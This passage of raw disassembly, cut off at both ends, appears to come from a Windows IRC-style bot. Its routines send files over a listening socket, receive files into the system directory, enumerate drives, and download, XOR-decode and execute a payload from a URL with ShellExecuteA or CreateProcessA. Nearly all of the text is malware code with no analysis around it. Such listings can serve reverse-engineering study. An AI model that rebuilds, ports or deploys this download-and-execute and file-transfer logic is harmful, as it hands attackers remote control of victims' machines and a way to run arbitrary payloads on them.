-4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd xor ebx, ebx xor esi, esi inc ebx push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_10], esi mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_4D66E8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_4106C1 push offset unk_442E10 jmp loc_41087A ; --------------------------------------------------------------------------- loc_4106C1: ; CODE XREF: sub_410673+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417700 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_4D6668 ; ntohs mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_4D6694 ; bind test eax, eax jz short loc_4106FF push offset unk_442E34 jmp loc_41087A ; --------------------------------------------------------------------------- loc_4106FF: ; CODE XREF: sub_410673+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_4D660C ; getsockname push [ebp+var_2E] call dword_4D6598 ; ntohs mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_414EC0 pop ecx loc_410731: ; CODE XREF: sub_410673+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_410744 push 5Fh pop eax jmp short loc_410747 ; --------------------------------------------------------------------------- loc_410744: ; CODE XREF: sub_410673+CAj movsx eax, al loc_410747: ; CODE XREF: sub_410673+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_414EC0 cmp [ebp+arg_0], eax pop ecx jbe short loc_410731 push ebx push edi call dword_4D6690 ; listen test eax, eax jz short loc_41077A push offset unk_442E58 jmp loc_41087A ; --------------------------------------------------------------------------- loc_41077A: ; CODE XREF: sub_410673+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call dword_4E03D8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4107A4 push offset unk_442E7C jmp loc_41087A ; --------------------------------------------------------------------------- loc_4107A4: ; CODE XREF: sub_410673+125j push esi push eax call dword_4E03D4 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_408882 pop ecx push eax call dword_4D66A8 ; inet_addr push eax call dword_4D6664 ; ntohl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_442E9C push eax call sub_417CB0 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40764A add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_4D6650 ; select test eax, eax jg short loc_410854 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_442EB4 push eax push [ebp+var_1FC] call sub_40764A jmp loc_410978 ; --------------------------------------------------------------------------- loc_410854: ; CODE XREF: sub_410673+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_4D66FC ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_41088D push offset unk_442ECC loc_41087A: ; CODE XREF: sub_410673+49j ; sub_410673+87j ... lea eax, [ebp+var_3FC] push eax call sub_417CB0 pop ecx pop ecx jmp loc_41097B ; --------------------------------------------------------------------------- loc_41088D: ; CODE XREF: sub_410673+200j push edi call dword_4D6700 ; closesocket cmp [ebp+arg_0], esi jz loc_41093F mov edi, 400h loc_4108A2: ; CODE XREF: sub_410673+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_4108AF mov [ebp+var_4], eax loc_4108AF: ; CODE XREF: sub_410673+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417700 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call dword_4E03F0 ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call dword_4E03B8 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_4D66B8 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_4D6680 ; recv cmp eax, ebx jl loc_4109D4 mov eax, [ebp+var_4] cmp eax, ebx jl loc_4109D4 sub [ebp+arg_0], eax jnz loc_4108A2 mov edi, [ebp+var_18] loc_41093F: ; CODE XREF: sub_410673+224j push [ebp+var_8] call dword_4E032C ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_411169 pop ecx pop ecx push eax push [ebp+var_44] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset unk_442EF0 push eax call sub_417CB0 loc_410978: ; CODE XREF: sub_410673+1DCj add esp, 14h loc_41097B: ; CODE XREF: sub_410673+215j cmp [ebp+var_50], esi jnz short loc_4109A0 push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40764A add esp, 14h loc_4109A0: ; CODE XREF: sub_410673+30Bj lea eax, [ebp+var_3FC] push eax call sub_40F927 cmp edi, esi pop ecx jbe short loc_4109B8 push edi call dword_4D6700 ; closesocket loc_4109B8: ; CODE XREF: sub_410673+33Cj push [ebp+var_1F8] call dword_4D6700 ; closesocket push [ebp+var_58] call sub_409979 pop ecx push esi call dword_4E03A0 ; ExitThread loc_4109D4: ; CODE XREF: sub_410673+2AFj ; sub_410673+2BAj push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_442F1C push eax push [ebp+var_1FC] call sub_40764A push offset dword_442F34 call sub_40F927 add esp, 18h push [ebp+var_1F8] call dword_4D6700 ; closesocket push [ebp+var_58] call sub_409979 pop ecx push ebx call dword_4E03A0 ; ExitThread sub_410673 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A18 proc near ; DATA XREF: sub_401C87+78Ao var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_4181D0 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd xor esi, esi xor ebx, ebx inc esi push 104h mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push eax mov [ebp+var_8], ebx call dword_4E0338 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset dword_442F4C push eax call sub_417CB0 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_4E03D8 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_410AA2 push offset unk_442F54 jmp short loc_410AE8 ; --------------------------------------------------------------------------- loc_410AA2: ; CODE XREF: sub_410A18+81j push eax call dword_4E032C ; CloseHandle lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4176E0 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_410ACA push offset unk_442F88 jmp short loc_410AE8 ; --------------------------------------------------------------------------- loc_410ACA: ; CODE XREF: sub_410A18+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_41042C pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_410AFB push offset unk_442FB4 loc_410AE8: ; CODE XREF: sub_410A18+88j ; sub_410A18+B0j lea eax, [ebp+var_4C4] push eax call sub_417CB0 pop ecx pop ecx jmp loc_410BF5 ; --------------------------------------------------------------------------- loc_410AFB: ; CODE XREF: sub_410A18+C9j mov esi, 1000h loc_410B00: ; CODE XREF: sub_410A18+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_4D6680 ; recv mov edi, eax cmp edi, ebx jz loc_410BC7 cmp edi, 0FFFFFFFFh jz short loc_410B68 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_41A170 add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_4D6664 ; ntohl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_4D66B8 ; send jmp short loc_410B00 ; --------------------------------------------------------------------------- loc_410B68: ; CODE XREF: sub_410A18+118j lea eax, [ebp+var_4C4] push offset dword_442FD4 push eax call sub_417CB0 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40764A lea eax, [ebp+var_4C4] push eax call sub_40F927 push [ebp+var_4] call sub_414F40 add esp, 24h push [ebp+arg_0] call dword_4D6700 ; closesocket push [ebp+var_1C] call sub_409979 pop ecx push 1 call dword_4E03A0 ; ExitThread loc_410BC7: ; CODE XREF: sub_410A18+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_411169 push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_4C4] push offset unk_442FEC push eax call sub_417CB0 add esp, 1Ch loc_410BF5: ; CODE XREF: sub_410A18+DEj cmp [ebp+var_14], ebx jnz short loc_410C1A push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40764A add esp, 14h loc_410C1A: ; CODE XREF: sub_410A18+1E0j lea eax, [ebp+var_4C4] push eax call sub_40F927 cmp [ebp+var_4], ebx pop ecx jz short loc_410C35 push [ebp+var_4] call sub_414F40 pop ecx loc_410C35: ; CODE XREF: sub_410A18+212j cmp [ebp+arg_0], ebx jbe short loc_410C43 push [ebp+arg_0] call dword_4D6700 ; closesocket loc_410C43: ; CODE XREF: sub_410A18+220j push [ebp+var_1C] call sub_409979 pop ecx push ebx call dword_4E03A0 ; ExitThread sub_410A18 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C53 proc near ; DATA XREF: sub_401C87+4EC0o ; sub_401C87+5321o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] rep movsd xor edi, edi xor esi, esi inc edi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4D6618 call dword_4D656C ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_4110CC push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_4E03D8 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_410D1A lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_443018 push eax call sub_417CB0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_410CFD push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40764A add esp, 14h loc_410CFD: ; CODE XREF: sub_410C53+88j lea eax, [ebp+var_510] push eax call sub_40F927 push [ebp+var_48] call sub_409979 pop ecx pop ecx push esi call dword_4E03A0 ; ExitThread loc_410D1A: ; CODE XREF: sub_410C53+68j xor edi, edi call dword_4E036C ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_415090 pop ecx mov [ebp+var_1C], eax loc_410D34: ; CODE XREF: sub_410C53+1A9j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417700 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_4D6574 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_410D78 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_411132 pop ecx pop ecx loc_410D78: ; CODE XREF: sub_410C53+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_4E03B4 ; WriteFile cmp edi, ebx jnb short loc_410DB6 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_410DA0 mov eax, [ebp+arg_0] loc_410DA0: ; CODE XREF: sub_410C53+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_419330 add esp, 0Ch loc_410DB6: ; CODE XREF: sub_410C53+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_410DC3 cmp edi, [ebp+var_3C] ja short loc_410E02 loc_410DC3: ; CODE XREF: sub_410C53+169j mov eax, edi shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_4493A0 cmp [ebp+var_44], 1 jz short loc_410DEB push offset unk_443040 jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DEB: ; CODE XREF: sub_410C53+18Fj push offset unk_443068 loc_410DF0: ; CODE XREF: sub_410C53+196j push eax call sub_417CB0 add esp, 10h cmp [ebp+arg_0], esi ja loc_410D34 loc_410E02: ; CODE XREF: sub_410C53+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_410E57 cmp edi, [ebp+var_3C] jz short loc_410E57 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_443090 push eax call sub_417CB0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40764A lea eax, [ebp+var_510] push eax call sub_40F927 add esp, 28h loc_410E57: ; CODE XREF: sub_410C53+1B9j ; sub_410C53+1BEj call dword_4E036C ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_4E032C ; CloseHandle push [ebp+var_1C] call sub_415C20 cmp [ebp+var_38], esi pop ecx jz short loc_410EE1 lea eax, [ebp+var_148] push eax call sub_4010AA cmp eax, [ebp+var_38] pop ecx jz short loc_410EE1 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_4430BC push eax call sub_417CB0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40764A lea eax, [ebp+var_510] push eax call sub_40F927 add esp, 28h loc_410EE1: ; CODE XREF: sub_410C53+236j ; sub_410C53+248j cmp [ebp+var_14], esi jz loc_411119 cmp [ebp+var_44], 1 push ecx lea eax, [ebp+var_148] push ecx jz loc_410FDC mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_434480 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_434480 fstp [esp+590h+var_590] push offset unk_4430E4 push eax call sub_417CB0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_410F5C push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40764A add esp, 14h loc_410F5C: ; CODE XREF: sub_410C53+2E7j lea eax, [ebp+var_510] push eax call sub_40F927 cmp [ebp+var_40], 1 pop ecx jnz loc_411119 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen_2 ; "open" push esi call dword_4D65D4 ; ShellExecuteA cmp [ebp+var_30], esi jnz loc_411119 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_443124 push eax call sub_417CB0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40764A lea eax, [ebp+var_510] push eax call sub_40F927 add esp, 24h jmp loc_411119 ; --------------------------------------------------------------------------- loc_410FDC: ; CODE XREF: sub_410C53+2A3j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_434480 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_434480 fstp [esp+590h+var_590] push offset unk_443140 push eax call sub_417CB0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_41103C push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40764A add esp, 14h loc_41103C: ; CODE XREF: sub_410C53+3C7j lea eax, [ebp+var_510] push eax call sub_40F927 push 10h lea eax, [ebp+var_10] push esi push eax call sub_417700 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417700 add esp, 1Ch lea eax, [ebp+var_10] mov [ebp+var_310], edi xor edi, edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi inc edi push eax push esi mov [ebp+var_304], offset dword_4DD3D0 mov [ebp+var_2E4], edi mov [ebp+var_2E0], si call dword_4E0330 ; CreateProcessA cmp eax, edi jnz short loc_4110BE call dword_4D65C0 ; WSACleanup call sub_411DDE push esi call dword_4E0328 ; ExitProcess loc_4110BE: ; CODE XREF: sub_410C53+457j lea eax, [ebp+var_148] push eax push offset unk_443184 jmp short loc_4110D8 ; --------------------------------------------------------------------------- loc_4110CC: ; CODE XREF: sub_410C53+45j lea eax, [ebp+var_248] push eax push offset unk_4431B8 loc_4110D8: ; CODE XREF: sub_410C53+477j lea eax, [ebp+var_510] push eax call sub_417CB0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_41110C push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40764A add esp, 14h loc_41110C: ; CODE XREF: sub_410C53+497j lea eax, [ebp+var_510] push eax call sub_40F927 pop ecx loc_411119: ; CODE XREF: sub_410C53+291j ; sub_410C53+31Aj ... push [ebp+var_18] call dword_4D669C ; InternetCloseHandle push [ebp+var_48] call sub_409979 pop ecx push esi call dword_4E03A0 ; ExitThread sub_410C53 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_411132 proc near ; CODE XREF: sub_410C53+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_41114E loc_41113E: ; CODE XREF: sub_411132+1Aj mov dl, byte_437098 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_41113E locret_41114E: ; CODE XREF: sub_411132+Aj retn sub_411132 endp ; =============== S U B R O U T I N E ======================================= sub_41114F proc near ; CODE XREF: sub_401C87+43D0p ; sub_401C87+4599p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41A3D0 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_41114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411169 proc near ; CODE XREF: sub_40E08D+462p ; sub_40E08D+5FEp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4DD3D4 push 0 push edi call sub_417700 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_41118E: ; CODE XREF: sub_411169+5Bj ; sub_411169+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41A4A0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41A430 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_4111CC inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_41118E mov byte ptr [esi], 2Ch inc esi jmp short loc_41118E ; --------------------------------------------------------------------------- loc_4111CC: ; CODE XREF: sub_411169+4Bj mov eax, edi jmp short loc_4111D5 ; --------------------------------------------------------------------------- loc_4111D0: ; CODE XREF: sub_411169+72j mov cl, [esi] mov [eax], cl inc eax loc_4111D5: ; CODE XREF: sub_411169+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_4111D0 and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_411169 endp ; =============== S U B R O U T I N E ======================================= sub_4111E7 proc near ; CODE XREF: sub_41139C+51p ; sub_41139C+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4D66C8 ; GetDriveTypeA sub eax, 0 jz short loc_41122A dec eax jz short loc_411224 dec eax dec eax jz short loc_41121E dec eax jz short loc_411218 dec eax jz short loc_411212 dec eax jz short loc_41120C mov eax, offset a? ; "?" retn ; --------------------------------------------------------------------------- loc_41120C: ; CODE XREF: sub_4111E7+1Dj mov eax, offset off_4431E8 retn ; --------------------------------------------------------------------------- loc_411212: ; CODE XREF: sub_4111E7+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_411218: ; CODE XREF: sub_4111E7+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_41121E: ; CODE XREF: sub_4111E7+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_411224: ; CODE XREF: sub_4111E7+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_41122A: ; CODE XREF: sub_4111E7+Dj mov eax, offset aUnknown_0 ; "Unknown" retn sub_4111E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411230 proc near ; CODE XREF: sub_411278+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4D6558 test eax, eax jz short loc_411265 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_411265: ; CODE XREF: sub_411230+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_411230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411278 proc near ; CODE XREF: sub_41139C+17p ; sub_4147AC+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_411230 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_411352 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_411352 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_411352 mov edi, 400h push 0 push edi push [ebp+var_14] push [ebp+var_18] call sub_41A520 push edx push eax call sub_411169 push eax mov esi, 80h push offset aSkb ; "%sKB" lea eax, [ebp+var_198] push esi push eax call sub_417E80 add esp, 18h push 0 push edi push [ebp+var_C] push [ebp+var_10] call sub_41A520 push edx push eax call sub_411169 push eax push offset aSkb_0 ; "%sKB" lea eax, [ebp+var_118] push esi push eax call sub_417E80 add esp, 18h push 0 push edi push [ebp+var_4] push [ebp+var_8] call sub_41A520 push edx push eax call sub_411169 push eax push offset aSkb_1 ; "%sKB" lea eax, [ebp+var_98] push esi push eax call sub_417E80 jmp short loc_411385 ; --------------------------------------------------------------------------- loc_411352: ; CODE XREF: sub_411278+2Cj ; sub_411278+3Bj ... lea eax, [ebp+var_198] push offset aFailed ; "failed" push eax call sub_417CB0 lea eax, [ebp+var_118] push offset aFailed_0 ; "failed" push eax call sub_417CB0 lea eax, [ebp+var_98] push offset aFailed_1 ; "failed" push eax call sub_417CB0 loc_411385: ; CODE XREF: sub_411278+D8j mov eax, [ebp+arg_0] add esp, 18h lea esi, [ebp+var_198] mov edi, eax push 60h pop ecx rep movsd pop edi pop esi leave retn sub_411278 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41139C proc near ; CODE XREF: sub_41146E+17p ; sub_41146E+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_411278 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed_2 ; "failed" rep movsd push eax call sub_418A30 add esp, 10h test eax, eax jnz short loc_41140F push ebx push ebx call sub_4111E7 pop ecx push eax push offset unk_44324C lea eax, [ebp+var_500] push 200h push eax call sub_417E80 add esp, 14h jmp short loc_411443 ; --------------------------------------------------------------------------- loc_41140F: ; CODE XREF: sub_41139C+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4111E7 pop ecx push eax push offset unk_443288 lea eax, [ebp+var_500] push 200h push eax call sub_417E80 add esp, 20h loc_411443: ; CODE XREF: sub_41139C+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A lea eax, [ebp+var_500] push eax call sub_40F927 add esp, 18h pop edi pop esi pop ebx leave retn sub_41139C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41146E proc near ; CODE XREF: sub_401C87+2016p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_41148F push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41139C add esp, 10h jmp short loc_4114EE ; --------------------------------------------------------------------------- loc_41148F: ; CODE XREF: sub_41146E+9j push esi push edi push ebx push ebx call dword_4D65D0 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_415090 pop ecx mov edi, eax push edi push esi call dword_4D65D0 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_4114E5 loc_4114B3: ; CODE XREF: sub_41146E+75j push offset aA_2 ; "A:\\" push esi call sub_418A30 pop ecx test eax, eax pop ecx jz short 